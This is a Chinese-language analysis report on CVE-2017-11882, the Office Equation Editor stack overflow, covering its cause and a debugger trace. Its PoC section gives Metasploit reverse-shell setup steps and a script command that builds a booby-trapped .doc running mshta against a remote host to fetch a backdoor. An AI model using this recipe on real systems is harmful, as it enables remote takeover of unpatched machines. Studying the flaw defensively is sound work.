cve-2017-11882漏洞分析報告
軟體名稱:Office2016以下
軟體版本:2016以下
漏洞模組:EQNEDT32.EXE
模組版本:6.1.95.45
編譯日期:2000-11-9 作業系統:Windows XP/2003/7/8.1/10
漏洞編號:cve-2017-11882
危害等級:高危
漏洞型別:緩衝區溢位
威脅型別:遠端
軟體簡介
Microsoft Office 是微軟公司針對 Windows 作業系統所推出的辦公室套裝軟體
公式編輯器是office的其中一個元件,為一個獨立的EXE,程式釋出的是2000年,使用VC4.X編譯器所生成
漏洞成因
公式編輯器存在緩衝區溢位漏洞。
該漏洞的成因是EQNEDT32.EXE程序在讀入包含MathType的ole資料時,在拷貝公式字型名稱(Font Name資料)時沒有對名稱長度進行校驗,從而造成棧緩衝區溢位,是一個非常經典的棧溢位漏洞。函式給Font Name資料分配的大小是0x24個位元組,超過該大小就會造成溢位。
利用過程
開啟含有惡意程式碼的Word文件,會彈出一個計算器。
使用OD附加EQNEDT32.EXE程序。在建立程序相關的函式下斷點。
發現是使用WinExec建立的計算器程序
通過棧回溯,找到上一層地址
來到這段程式碼,做個記錄
找到這段程式碼的最頭部,下一個斷點,再次開啟帶有惡意程式碼的Word文件
發現了拷貝溢位點
將傳入的引數,拷貝到棧裡,然後覆蓋了原有的返回地址。
使用IDA分析
返回地址被修改為本模組內的一個地址
發現是呼叫本模組的WinExec程式碼,
巧妙的將命令列cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA
當作引數,呼叫WinExec函式執行指定的程式。
最終彈出了計算器。
PoC
在kali虛擬機器配置好環境
首先進入msfconsole,根據cve編號搜尋指定的漏洞
使用第一個漏洞
然後設定payload使用tcp反彈回連的方式
接著配置好一些必要的資訊,設定本機的監聽ip與埠,一般埠預設即可,還有一個資源下載的目錄urlpath
設定完畢之後,就可以開始攻擊了
使用Kali Metasploit生成後門木馬
將CVE-2017-11882.py的指令碼放置到桌面
使用該指令碼生成一個後門木馬
python CVE-2017-11882.py -c “mshta.exe http://192.168.1.70:8080/1” -o 11882.doc
在win7上執行後門木馬
執行後沒有任何明顯的反映,但是Metasploit中已經連線上了
在Metasploit中連線,操作後門
發現目標機器已經連線上了,此時可以任意操控後門,上傳下載檔案。
結語
漏洞影響的範圍比較大,公式編輯器一直從2000版本以來保留使用到2016版本
使用的編譯器也比較老久,沒有對記憶體長度進行檢查,所以容易造成緩衝區溢位,且可以利用該漏洞為所欲為。